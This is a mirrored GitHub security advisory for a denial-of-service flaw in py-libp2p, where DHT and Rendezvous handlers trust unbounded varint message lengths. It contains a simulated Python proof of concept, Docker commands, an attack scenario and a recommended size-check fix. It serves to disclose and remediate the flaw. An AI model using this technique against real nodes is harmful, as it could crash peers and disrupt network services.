GHSA-XQVC-92CF-94J4
Memory Exhaustion via Unbounded Varint-Prefixed Message Lengths
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.5.0 | libp2p · -235 d desde divulgación | |
| Divulgación | Publicada | GHSA-XQVC-92CF-94J4 divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The Kademlia DHT, Rendezvous, ValueStore, and ProviderStore protocol handlers read varint-encoded message length prefixes from network streams and use these values directly for memory allocation without any size validation. A remote attacker can send a malicious varint-encoded length (e.g., representing 4GB) to cause the victim node to exhaust memory, leading to Denial of Service.
This is a high-severity vulnerability because it allows unauthenticated remote attackers to crash any py-libp2p node running DHT or Rendezvous services with a single malicious message.
---
Details
Vulnerable Code Pattern
The vulnerability exists in multiple locations where varint-prefixed messages are read from network streams. Here's the core issue from `libp2p/kad_dht/kad_dht.py` (lines 360-363):
# Read varint-encoded length prefix
msg_length = varint.decode_bytes(length_prefix)
# VULNERABLE: No size validation before reading!
msg_bytes = await stream.read(msg_length)The `msg_length` value comes directly from untrusted network input and is used to allocate a buffer. There's no check against a maximum allowed size.
All Affected Locations
| File | Lines | Function |
|------|-------|----------|
| `libp2p/kad_dht/kad_dht.py` | 360-363 | `handle_stream()` |
| `libp2p/kad_dht/value_store.py` | 145-149 | `_store_at_peer()` |
| `libp2p/kad_dht/value_store.py` | 267-270 | `_get_from_peer()` |
| `libp2p/kad_dht/provider_store.py` | 273-276 | `_send_add_provider()` |
| `libp2p/kad_dht/provider_store.py` | 420-423 | `_get_providers_from_peer()` |
| `libp2p/discovery/rendezvous/service.py` | 98-108 | `_handle_stream()` |
| `libp2p/discovery/rendezvous/client.py` | 244-249 | `_send_message()` |
Secure Implementation Already Exists
Interestingly, the Bitswap protocol in the same codebase correctly implements size validation (`libp2p/bitswap/client.py`, lines 804-809):
length = varint.decode_bytes(length_bytes)
if length > MAX_MESSAGE_SIZE: # ✓ Validates before allocation!
raise MessageTooLargeError(
f"Message size {length} exceeds maximum {MAX_MESSAGE_SIZE}"
)This shows the pattern for a proper fix is already known in the codebase.
---
PoC
Prerequisites
- Docker installed
- py-libp2p source code
Step 1: Create the PoC Script
Create a file `poc.py` that simulates the vulnerable code path:
"""
PoC: Memory Exhaustion via Unbounded Varint-Prefixed Message Lengths
Simulates the vulnerable code pattern from kad_dht.py:handle_stream()
"""
import trio
import varint
POC_SIZE_MB = 300 # Attacker claims to send 300 MB
class MaliciousStream:
"""Simulates attacker-controlled network stream"""
def __init__(self, claimed_size: int):
self.claimed_size = claimed_size
self.varint_prefix = varint.encode(claimed_size)
self.pos = 0
self.data_sent = 0
async def read(self, n: int) -> bytes:
# First return the varint prefix
if self.pos < len(self.varint_prefix):
result = self.varint_prefix[self.pos:self.pos + n]
self.pos += len(result)
return result
# Then return data (simulating attacker sending payload)
if self.data_sent < self.claimed_size:
to_send = min(n, self.claimed_size - self.data_sent)
self.data_sent += to_send
await trio.sleep(0.001) # Simulate network latency
return b"A" * to_send
return b""
async def vulnerable_handler(stream):
"""
Mirrors the VULNERABLE pattern from kad_dht.py:360-363
"""
# Read varint length prefix
length_prefix = b""
while True:
byte = await stream.read(1)
if not byte:
return b""
length_prefix += byte
if byte[0] & 0x80 == 0:
break
# Decode length - NO SIZE VALIDATION!
msg_length = varint.decode_bytes(length_prefix)
print(f"Attacker claimed length: {msg_length} bytes ({msg_length // (1024*1024)} MB)")
# VULNERABLE: Allocate based on untrusted input
print("Reading message... (memory grows unbounded)")
msg_bytes = b""
while len(msg_bytes) < msg_length:
chunk = await stream.read(msg_length - len(msg_bytes))
if not chunk:
break
msg_bytes += chunk
if len(msg_bytes) % (10 * 1024 * 1024) == 0:
print(f" Allocated: {len(msg_bytes) // (1024*1024)} MB")
return msg_bytes
async def main():
print("Memory Exhaustion PoC")
print("=" * 50)
stream = MaliciousStream(POC_SIZE_MB * 1024 * 1024)
await vulnerable_handler(stream)
if __name__ == "__main__":
trio.run(main)Step 2: Create Dockerfile
FROM python:3.11-slim
WORKDIR /app
RUN pip install trio varint
COPY poc.py .
CMD ["python", "poc.py"]Step 3: Run with Memory Limit
# Build the image
docker build -t poc-test .
# Run with 256MB memory limit (PoC tries to allocate 300MB)
docker run --rm -m 256m poc-testExpected Output
The container will be killed by the OOM killer (exit code 137):
Memory Exhaustion PoC
==================================================
Attacker claimed length: 314572800 bytes (300 MB)
Reading message... (memory grows unbounded)
Allocated: 10 MB
Allocated: 20 MB
...
Allocated: 200 MB
KilledExit code 137 confirms the vulnerability - the process was killed by SIGKILL (128 + 9) from the OOM killer because it exhausted the container's memory limit.
Why This Proves the Vulnerability
- The varint prefix `0x8080809601` decodes to 300MB
- The vulnerable code trusts this value and tries to allocate 300MB
- In a 256MB container, this causes OOM
- In production, an attacker could claim 4GB+ to crash nodes with larger memory
---
Impact
Who is Affected?
- All py-libp2p nodes running Kademlia DHT (`/ipfs/kad/1.0.0` protocol)
- All py-libp2p nodes running Rendezvous service (`/rendezvous/1.0.0` protocol)
- This includes IPFS nodes and any application built on py-libp2p
Real-World Scenario
- Attacker identifies a py-libp2p node (e.g., IPFS peer)
- Attacker connects to the DHT protocol endpoint
- Attacker sends a single message with varint prefix for 4GB
- Victim node exhausts memory and crashes
- Attack can be repeated to keep the node offline
---
Recommended Fix
Add message size validation before reading, following the Bitswap pattern:
# Define maximum message size (4 MB is reasonable for DHT messages)
MAX_DHT_MESSAGE_SIZE = 4 * 1024 * 1024
# In handle_stream():
msg_length = varint.decode_bytes(length_prefix)
# ADD THIS VALIDATION:
if msg_length > MAX_DHT_MESSAGE_SIZE:
logger.warning(f"Message too large: {msg_length} bytes")
await stream.close()
return
msg_bytes = await stream.read(msg_length)Apply this pattern to all affected locations listed above.
---
References
- CWE-400: Uncontrolled Resource Consumption
- libp2p Message Size Limits: The Go implementation uses reasonable limits
- Similar Vulnerability (CVE-2022-23492): Memory exhaustion in libp2p-mplex
- Bitswap Secure Implementation: Example of correct pattern in the same codebase
---
Thank you for maintaining py-libp2p! I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilibp2p |
Corregida | 0.5.0 | -235 d | 0.8.1 no afectada |
0.5.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/libp2p/py-libp2p/security/advisories/GHSA-xqvc-92cf-94j4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
